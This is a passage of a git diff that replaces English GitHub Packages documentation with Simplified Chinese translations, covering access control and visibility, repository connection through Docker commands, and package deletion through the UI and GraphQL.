{% endif %} diff --git a/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md index e6a18a925f..0086361c6c 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md +++ b/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md @@ -1,6 +1,6 @@ --- -title: Configuring a package's access control and visibility -intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.' +title: 配置包的访问控制和可见性 +intro: '选择谁对容器映像具有读取、写入或管理员访问权限,以及容器映像在 {% data variables.product.prodname_dotcom %} 上的可见性。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images @@ -10,176 +10,177 @@ versions: ghec: '*' ghes: '*' shortTitle: Access control & visibility +ms.openlocfilehash: 8ef541f45fd6568db7c8510bc860d81d504494c5 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193055' --- {% data reusables.package_registry.container-registry-ghes-beta %}{% ifversion packages-registries-v2 %} -Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to. +具有精细权限的包仅限于个人用户或组织帐户。 您可以从与包相连(或链接)的仓库分别更改包的访问控制和可见性。 -Some registries only support repository-scoped permissions. For the list of these registries, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)." +某些注册表仅支持存储库范围内的权限。 有关这些注册表的列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)”。 -{% else %}A package inherits the permissions and visibility of the repository that owns the package.{% endif %} For more information about permissions for packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)." +{% else %}包继承拥有该包的存储库的权限和可见性。{% endif %} 有关包的权限、PAT 的包相关范围或管理操作工作流的权限的详细信息,请参阅“[关于 GitHub 包的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。 {% ifversion packages-registries-v2 %} -## Visibility and access permissions for container images +## 容器映像的可见性和访问权限 {% data reusables.package_registry.visibility-and-access-permissions %} {% endif %} -## Configuring access to container images for your personal account +## 为个人帐户配置对容器映像的访问 -If you have admin permissions to a container image that's owned by a personal account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)." +如果你对个人帐户拥有的容器映像具有管理员权限,你可以向其他用户分配读取、写入或管理员角色。 有关这些权限角色的详细信息,请参阅“[容器映像的可见性和访问权限](#visibility-and-access-permissions-for-container-images)”。 -If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams. +如果您的软件包是私人或内部的并且由组织拥有,则您只能向其他组织成员或团队授予访问。 {% data reusables.package_registry.package-settings-option %} -1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a personal account. - ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png) -1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level. - ![Container access options](/assets/images/help/package-registry/container-access-control-options.png) +1. 在软件包设置页面上,单击“邀请团队或人员”,然后输入名称、用户名或你想要授予访问权限的人员的电子邮件。 不能授予团队访问个人帐户拥有的容器映像。 + ![容器访问邀请按钮](/assets/images/help/package-registry/container-access-invite.png) +1. 在用户名或团队名称旁边,使用“Role(角色)”下拉菜单选择所需的权限级别。 + ![容器访问选项](/assets/images/help/package-registry/container-access-control-options.png) -The selected users will automatically be given access and don't need to accept an invitation first. +所选用户将自动被授予访问权限,不需要先接受邀请。 -## Configuring access to container images for an organization +## 为企业配置对容器映像的访问 -If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)." +如果您对组织拥有的容器映像具有管理员权限,您可以向其他用户和团队分配读取、写入或管理员角色。 有关这些权限角色的详细信息,请参阅“[容器映像的可见性和访问权限](#visibility-and-access-permissions-for-container-images)”。 -If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams. +如果您的软件包是私人或内部的并且由组织拥有,则您只能向其他组织成员或团队授予访问。 -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access. - ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png) -1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level. - ![Container access options](/assets/images/help/package-registry/container-access-control-options.png) +{% data reusables.package_registry.package-settings-from-org-level %} {% data reusables.package_registry.package-settings-option %} +1. 在软件包设置页面上,单击“邀请团队或人员”,然后输入名称、用户名或你想要授予访问权限的人员的电子邮件。 您还可以从组织输入团队名称,以允许所有团队成员访问。 + ![容器访问邀请按钮](/assets/images/help/package-registry/container-access-invite.png) +1. 在用户名或团队名称旁边,使用“Role(角色)”下拉菜单选择所需的权限级别。 + ![容器访问选项](/assets/images/help/package-registry/container-access-control-options.png) -The selected users or teams will automatically be given access and don't need to accept an invitation first. +所选用户或团队将自动被授予访问权限,不需要先接受邀请。 -## Inheriting access for a container image from a repository +## 从仓库继承容器映像的访问权限 -To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default. +要通过 {% data variables.product.prodname_actions %} 工作流程简化包管理,您可以让容器映像默认继承仓库的访问权限。 -If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions. +如果您继承了存储包工作流程的仓库的访问权限,则可以通过仓库的权限调整对包的访问权限。 -Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first. +仓库一旦同步,您就无法访问包的精细访问设置。 要通过精细的包访问设置自定义包的权限,您必须先删除同步的仓库。 -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -2. Under "Repository source", select **Inherit access from repository (recommended)**. - ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png) +{% data reusables.package_registry.package-settings-from-org-level %} {% data reusables.package_registry.package-settings-option %} +2. 在“存储库源”下,选择“从存储库继承访问权限(推荐)”。 + ![继承存储库访问权限复选框](/assets/images/help/package-registry/inherit-repo-access-for-package.png) -## Ensuring workflow access to your package +## 确保工作流程访问您的包 -To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored. +为确保 {% data variables.product.prodname_actions %} 工作流程能访问您的包,您必须授予存储工作流程的仓库以明确的访问权限。 -The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package. +指定的仓库不需要是保存包源代码的仓库。 您可以授予多个仓库工作流程对包的访问权限。 {% note %} -**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." +注意:通过“操作访问”菜单选项同步容器映像与存储库不同于将容器连接到存储库。 有关将存储库链接到容器的详细信息,请参阅“[将存储库连接到包](/packages/learn-github-packages/connecting-a-repository-to-a-package)”。 {% endnote %} -### {% data variables.product.prodname_actions %} access for user-account-owned container images +### 用户帐户拥有的容器映像的 {% data variables.product.prodname_actions %} 访问权限 {% data reusables.package_registry.package-settings-option %} -1. In the left sidebar, click **Actions access**. - !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add. - !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) -3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. - ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. 在左侧边栏中,单击“操作访问”。 + ![左侧菜单中的“操作访问”选项](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +2. 为确保工作流程有权访问容器包,您必须添加存储工作流程的仓库。 单击“添加存储库”并搜索要添加的存储库。 + ![“添加存储库”按钮](/assets/images/help/package-registry/add-repository-button.png) +3. (使用“role(角色)”下拉菜单,选择您希望仓库访问您的容器映像所必须拥有的默认访问权限。 + ![授予存储库的权限访问级别](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)." +若要进一步自定义对容器映像的访问,请参阅“[配置对个人帐户的容器映像的访问](#configuring-access-to-container-images-for-your-personal-account)”。 -### {% data variables.product.prodname_actions %} access for organization-owned container images +### 组织拥有的容器映像的 {% data variables.product.prodname_actions %} 访问权限 -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -1. In the left sidebar, click **Actions access**. - !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -2. Click **Add repository** and search for the repository you want to add. - !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) -3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included. - ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +{% data reusables.package_registry.package-settings-from-org-level %} {% data reusables.package_registry.package-settings-option %} +1. 在左侧边栏中,单击“操作访问”。 + ![左侧菜单中的“操作访问”选项](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +2. 单击“添加存储库”并搜索要添加的存储库。 + ![“添加存储库”按钮](/assets/images/help/package-registry/add-repository-button.png) +3. 使用“role(角色)”下拉菜单,选择您希望仓库成员访问您的容器映像所必须拥有的默认访问权限。 外部协作者将不包括在内。 + ![授予存储库的权限访问级别](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)." +若要进一步自定义对容器映像的访问,请参阅“[配置对组织的容器映像的访问](#configuring-access-to-container-images-for-an-organization)”。 {% ifversion fpt or ghec %} -## Ensuring {% data variables.product.prodname_github_codespaces %} access to your package +## 确保 {% data variables.product.prodname_github_codespaces %} 具有包的访问权限 -By default, a codespace can seamlessly access certain packages in registries that support granular permissions, such as packages published in the same repository with the **Inherit access** option selected. For the list of {% data variables.product.prodname_registry %} registries that support granular permissions and seamless {% data variables.product.prodname_github_codespaces %} access, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages)." +默认情况下,codespace 可以无缝访问支持精细权限的注册表中的某些包,例如在选择了“继承访问”选项的同一存储库中发布的包。 有关支持精细权限和无缝 {% data variables.product.prodname_github_codespaces %} 访问的 {% data variables.product.prodname_registry %} 注册表的列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages)”。 -Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched. +否则,为了确保代码空间能够访问您的软件包,必须授予对启动代码空间的仓库的访问权限。 -The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package. +指定的仓库不需要是保存包源代码的仓库。 您可以授予多个仓库中的代码空间对包的访问权限。 -Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access. +选择您想与仓库中的代码空间共享的包后,可以授予该仓库访问权限。 -1. In the right sidebar, click **Package settings**. +1. 在右侧栏中,单击“包设置”。 - !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png) + ![右侧菜单中的“包设置”选项](/assets/images/help/package-registry/package-settings.png) -2. Under "Manage Codespaces access", click **Add repository**. +2. 在“管理 Codespaces 访问”下,单击“添加存储库”。 - !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png) + ![“添加存储库”按钮](/assets/images/help/package-registry/manage-codespaces-access-blank.png) -3. Search for the repository you want to add. +3. 搜索要添加的仓库。 - !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png) + ![“添加存储库”按钮](/assets/images/help/package-registry/manage-codespaces-access-search.png) -4. Repeat for any additional repositories you would like to allow access. +4. 对要允许访问的任何其他仓库重复此步骤。 -5. If the codespaces for a repository no longer need access to an image, you can remove access. +5. 如果仓库的代码空间不再需要访问映像,则可以删除访问权限。 - !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png) + ![“删除存储库”按钮](/assets/images/help/package-registry/manage-codespaces-access-item.png) {% endif %} -## Configuring visibility of container images for your personal account +## 为个人帐户配置容器映像的可见性 -When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings. +首次发布包时,默认可见性是私有的,只有您才能看到包。 您可以通过更改访问设置来修改私有或公共容器映像的访问权限。 -A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again. +公共包可以匿名访问,无需身份验证。 包一旦被设为公共,便无法再次将其设为私有。 {% data reusables.package_registry.package-settings-option %} -5. Under "Danger Zone", choose a visibility setting: - - To make the container image visible to anyone, click **Make public**. +5. 在“Danger Zone(危险区域)”下,选择可见性设置: + - 若要使容器映像对任何人都可见,请单击“设为公共”。 {% warning %} - **Warning:** Once you make a package public, you cannot make it private again. + 警告:包一旦被设为公共,便无法再次将其设为私有。 {% endwarning %} - - To make the container image visible to a custom selection of people, click **Make private**. - ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png) + - 若要使容器映像只对选择的人员可见,请单击“设为私有”。 + ![容器可见性选项](/assets/images/help/package-registry/container-visibility-option.png) -## Container creation visibility for organization members +## 组织成员的容器创建可见性 -You can choose the visibility of containers that organization members can publish by default. +您可以选择组织成员默认可以发布的容器的可见性。 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -4. On the left, click **Packages**. -6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images. - - To enable organization members to create public container images, click **Public**. - - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images. - - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members. - ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png) +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +4. 在左侧,单击“包”。 +6. 在“Container creation(容器创建)”下,选择是要启用公共、私有或内部容器映像。 + - 若要让组织成员创建公共容器映像,请单击“公共”。 + - 若要让组织成员创建只对其他组织成员可见的私有容器映像,请单击“私有”。 您可以进一步自定义私有容器映像的可见性。 + - 若要让组织成员创建对所有组织成员可见的内部容器映像,请单击“内部”。 如果组织属于企业,则容器映像将对所有企业成员可见。 + ![组织成员发布的容器映像的可见性选项](/assets/images/help/package-registry/container-creation-org-settings.png) -## Configuring visibility of container images for an organization +## 为组织配置容器映像的可见性 -When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings. +首次发布包时,默认可见性是私有的,只有您才能看到包。 您可以通过访问设置授予用户或团队对容器映像的不同访问角色。 -A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again. +公共包可以匿名访问,无需身份验证。 包一旦被设为公共,便无法再次将其设为私有。 -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -5. Under "Danger Zone", choose a visibility setting: - - To make the container image visible to anyone, click **Make public**. +{% data reusables.package_registry.package-settings-from-org-level %} {% data reusables.package_registry.package-settings-option %} +5. 在“Danger Zone(危险区域)”下,选择可见性设置: + - 若要使容器映像对任何人都可见,请单击“设为公共”。 {% warning %} - **Warning:** Once you make a package public, you cannot make it private again. + 警告:包一旦被设为公共,便无法再次将其设为私有。 {% endwarning %} - - To make the container image visible to a custom selection of people, click **Make private**. - ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png) + - 若要使容器映像只对选择的人员可见,请单击“设为私有”。 + ![容器可见性选项](/assets/images/help/package-registry/container-visibility-option.png) diff --git a/translations/zh-CN/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md index db786ab0a8..0549b49958 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md +++ b/translations/zh-CN/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md @@ -1,6 +1,6 @@ --- -title: Connecting a repository to a package -intro: 'You can connect a repository to a container image on {% data variables.location.product_location %}.' +title: 将仓库连接到包 +intro: '可以将存储库连接到 {% data variables.product.product_location %} 上的容器映像。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /packages/managing-container-images-with-github-container-registry/connecting-a-repository-to-a-container-image @@ -10,46 +10,49 @@ versions: ghec: '*' ghes: '*' shortTitle: Connect a repository +ms.openlocfilehash: 087775df9862c3b2a88dd555d9f571066fef8759 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882333' --- +通过将仓库连接到包,包登录页面将显示来自仓库的信息和链接,例如 README。 -By connecting a repository to a package, the package landing page will show information and links from the repository, such as the README. - -## Connecting a repository to a user-owned package on {% data variables.product.prodname_dotcom %} +## 在 {% data variables.product.prodname_dotcom %} 上将仓库连接到用户拥有的包 {% data reusables.package_registry.package-settings-from-user-level %} {% data reusables.package_registry.repository_connection_steps %} -## Connecting a repository to an organization-owned package on {% data variables.product.prodname_dotcom %} +## 在 {% data variables.product.prodname_dotcom %} 上将仓库连接到组织拥有的包 {% data reusables.package_registry.package-settings-from-org-level %} {% data reusables.package_registry.repository_connection_steps %} {% ifversion fpt or ghec or ghes > 3.4 %} -## Connecting a repository to a container image using the command line +## 使用命令行将仓库连接到容器映像 -{% ifversion ghes > 3.4 %} -{% data reusables.package_registry.container-registry-ghes-beta %} -{% endif %} +{% ifversion ghes > 3.4 %} {% data reusables.package_registry.container-registry-ghes-beta %} {% endif %} -1. In your Dockerfile, add this line, replacing {% ifversion ghes %}`HOSTNAME`, {% endif %}`OWNER` and `REPO` with your details: +1. 在 Dockerfile 中,添加此行,将 {% ifversion ghes %}`HOSTNAME`、{% endif %}`OWNER` 和 `REPO` 替换为详细信息: ```shell - LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPO + LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPO ``` - For example, if you're the user `monalisa` and own `my-repo`, and {% data variables.location.product_location %} hostname is `github.companyname.com`, you would add this line to your Dockerfile: + 例如,如果你是拥有 `my-repo` 的用户 `monalisa`,且 {% data variables.product.product_location %} 主机名为 `github.companyname.com`,则会将此行添加到 Dockerfile: ```shell LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}{% data reusables.package_registry.container-registry-example-hostname %}{% endif %}/monalisa/my-repo ``` - For more information, see "[LABEL](https://docs.docker.com/engine/reference/builder/#label)" in the official Docker documentation and "[Pre-defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/master/annotations.md#pre-defined-annotation-keys)" in the `opencontainers/image-spec` repository. + 有关详细信息,请参阅 Docker 官方文档中的“[标签](https://docs.docker.com/engine/reference/builder/#label)”和 `opencontainers/image-spec` 存储库中的“[预定义的注释键](https://github.com/opencontainers/image-spec/blob/master/annotations.md#pre-defined-annotation-keys)”。 -2. Build your container image. This example builds an image from the Dockerfile in the current directory and assigns the image name `hello_docker`. +2. 构建容器映像。 此示例从当前目录中的 Dockerfile 生成映像,并分配映像名称 `hello_docker`。 ```shell $ docker build -t hello_docker . ``` -3. Optionally, review details for the Docker image you want to tag. +3. (可选)查看您想要标记的 Docker 映像的详细信息。 ```shell $ docker images > REPOSITORY TAG IMAGE ID CREATED SIZE @@ -58,27 +61,27 @@ By connecting a repository to a package, the package landing page will show info > hello-world latest fce289e99eb9 16 months ago 1.84kB ``` -4. Tag your Docker image with your desired image name and hosting destination. +4. 使用所需的映像名称和托管目标标记 Docker 映像。 ```shell $ docker tag IMAGE_NAME {% data reusables.package_registry.container-registry-hostname %}/OWNER/NEW_IMAGE_NAME:TAG ``` - For example: + 例如: ```shell $ docker tag 38f737a91f39 {% data reusables.package_registry.container-registry-example-hostname %}/monalisa/hello_docker:latest ``` -5. If you haven't already, authenticate to the {% data variables.product.prodname_container_registry %}. For more information, see "[Authenticating to the {% data variables.product.prodname_container_registry %}](/packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images#authenticating-to-the-container-registry)." +5. 如果尚未向 {% data variables.product.prodname_container_registry %} 验证,请验证。 有关详细信息,请参阅“[对 {% data variables.product.prodname_container_registry %} 进行身份验证](/packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images#authenticating-to-the-container-registry)”。 {% raw %} ```shell $ echo $CR_PAT | docker login {% endraw %}{% data reusables.package_registry.container-registry-hostname %}{% raw %} -u USERNAME --password-stdin > Login Succeeded ``` {% endraw %} -6. Push your container image to the {% data variables.product.prodname_container_registry %}. +6. 推送容器映像到 {% data variables.product.prodname_container_registry %}。 ```shell $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE-NAME:TAG ``` - For example: + 例如: ```shell $ docker push {% data reusables.package_registry.container-registry-example-hostname %}/monalisa/hello_docker:latest ``` diff --git a/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md index 8210f8a2e7..e74c59138f 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md +++ b/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md @@ -1,6 +1,6 @@ --- -title: Deleting and restoring a package -intro: Learn how to delete or restore a package. +title: 删除和恢复包 +intro: 了解如何删除或恢复包。 product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/deleting-a-package @@ -13,82 +13,84 @@ versions: ghec: '*' ghae: '*' shortTitle: Delete & restore a package +ms.openlocfilehash: 57f90bb6dbcda759e90444a40c7deef84d907b9c +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193071' --- - {% data reusables.package_registry.packages-ghes-release-stage %} -## Package deletion and restoration support on {% data variables.product.prodname_dotcom %} +## {% data variables.product.prodname_dotcom %}上的包删除和恢复支持 -On {% data variables.product.prodname_dotcom %} if you have the required access, you can delete: -- an entire private package -- an entire public package, if there's not more than 5000 downloads of any version of the package -- a specific version of a private package -- a specific version of a public package, if the package version doesn't have more than 5,000 downloads +在 {% data variables.product.prodname_dotcom %} 上,如果您有必要的访问权限,您可以删除: +- 整个私有包 +- 整个公共包(如果任何包版本不超过 5000 次下载) +- 私有包的特定版本 +- 公共包的特定版本(如果包版本不超过 5,000 次下载) {% note %} -**Note:** -- You cannot delete a public package if any version of the package has more than 5,000 downloads. In this scenario, contact [GitHub support](https://support.github.com/contact?tags=docs-packages) for further assistance. -- When deleting public packages, be aware that you may break projects that depend on your package. +**注意:** +- 如果任何版本的包下载量超过 5,000 次,则无法删除公共包。 在此方案中,请联系 [GitHub 支持](https://support.github.com/contact?tags=docs-packages)获取进一步帮助。 +- 删除公共包时,请注意,您可能会破坏依赖于包的项目。 {% endnote %} -On {% data variables.product.prodname_dotcom %}, you can also restore an entire package or package version, if: -- You restore the package within 30 days of its deletion. -- The same package namespace is still available and not used for a new package. +出现以下情况时,您也可以在 {% data variables.product.prodname_dotcom %} 上恢复整个包或包版本: +- 您在删除后 30 天内恢复包。 +- 相同的包命名空间仍然可用,并且不用于新包。 -## Packages API support +## 包 API 支持 {% data reusables.package_registry.packages-classic-pat-only %} {% ifversion fpt or ghec %} -You can use the REST API to manage your packages. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." +您可以使用 REST API 来管理您的包。 有关详细信息,请参阅“[{% data variables.product.prodname_registry %} API](/rest/reference/packages)”。 {% endif %} {% data reusables.package_registry.about-graphql-support %} -## Required permissions to delete or restore a package +## 删除或恢复包所需的权限 -{% ifversion packages-registries-v2 %} -With registries that support granular permissions, you can choose to allow packages to be scoped to a user or an organization, or linked to a repository. +{% ifversion packages-registries-v2 %} 借助支持精细权限的注册表,可以选择允许将包的范围限定为用户或组织,或链接到存储库。 -To delete a package that has granular permissions separate from a repository, such as container images stored at {% ifversion ghes %}`https://containers.HOSTNAME/OWNER/PACKAGE-NAME`{% else %}`https://ghcr.io/OWNER/PACKAGE-NAME`{% endif %}{% ifversion packages-npm-v2 %} or packages stored at `https://npm.pkg.github.com/OWNER/PACKAGE-NAME`{% endif %}, you must have admin access to the package. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." +若要删除具有独立于存储库的精细权限的包,例如存储在 {% ifversion ghes %}`https://containers.HOSTNAME/OWNER/PACKAGE-NAME`{% else %}`https://ghcr.io/OWNER/PACKAGE-NAME`{% endif %}{% ifversion packages-npm-v2 %} 的容器映像或存储在 `https://npm.pkg.github.com/OWNER/PACKAGE-NAME`{% endif %} 的包,必须具有对包的管理员访问权限。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。 -For packages that inherit their access permissions from repositories, you can delete a package if you have admin permissions to the repository. +对于从存储库继承其访问权限的包,如果你对存储库拥有管理员权限,则可以删除包。 -Some registries **only** support repository-scoped packages. For a list of these registries, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)." +某些注册表仅支持存储库范围的包。 有关这些注册表的列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)”。 {% else %} -You can delete a package if you have admin permissions to the repository to which the package is published. +如果具有包发布目标存储库的管理员权限,则可以删除包。 {% endif %} -## Deleting a package version +## 删除包版本 -### Deleting a version of a {% ifversion packages-registries-v2 %}repository-scoped {% endif %}package on {% data variables.product.prodname_dotcom %} +### 在 {% data variables.product.prodname_dotcom %} 上删除{% ifversion packages-registries-v2 %}存储库范围的{% endif %}包版本 -To delete a version of a {% ifversion packages-registries-v2 %}repository-scoped {% endif %}package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." +若要删除{% ifversion packages-registries-v2 %}存储库范围的{% endif %}包版本,必须对拥有该包的存储库具有管理员权限。 有关详细信息,请参阅“[所需的权限](#required-permissions-to-delete-or-restore-a-package)”。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.package_registry.packages-from-code-tab %} -{% data reusables.package_registry.package-settings-option %} -5. On the left, click **Manage versions**. -5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**. - ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png) -6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. - ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} {% data reusables.package_registry.package-settings-option %} +5. 在左侧,单击“管理版本”。 +5. 在要删除的版本的右侧,单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 并选择“删除版本”。 + ![删除包版本按钮](/assets/images/help/package-registry/delete-container-package-version.png) +6. 若要确认删除,请键入包名称,并单击“我知道后果,请删除此版本”。 + ![确认包删除按钮](/assets/images/help/package-registry/package-version-deletion-confirmation.png) {% ifversion fpt or ghec or ghes %} -### Deleting a version of a {% ifversion packages-registries-v2 %}repository-scoped{% endif %} package with GraphQL +### 使用 GraphQL 删除{% ifversion packages-registries-v2 %}存储库范围的{% endif %}包版本 -{% data reusables.package_registry.about-graphql-support %}{% ifversion fpt or ghec %} For information on using the REST API instead, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."{% endif %} +{% data reusables.package_registry.about-graphql-support %}{% ifversion fpt or ghec %} 有关改用 REST API 的信息,请参阅“[{% data variables.product.prodname_registry %} API](/rest/reference/packages)”。{% endif %} -Use the `deletePackageVersion` mutation in the GraphQL API. You must use a {% data variables.product.pat_v1 %} with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about {% data variables.product.pat_v1_plural %}, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)." +在 GraphQL API 中使用 `deletePackageVersion` 突变。 必须使用具有 `read:packages`、`delete:packages` 和 `repo` 范围的 {% data variables.product.pat_v1 %}。 有关 {% data variables.product.pat_v1_plural %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)”。 -The following example demonstrates how to delete a package version, using a `packageVersionId` of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`. +下面的示例演示如何删除 `packageVersionId` 为 `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg` 的包版本。 ```shell curl -X POST \ @@ -98,148 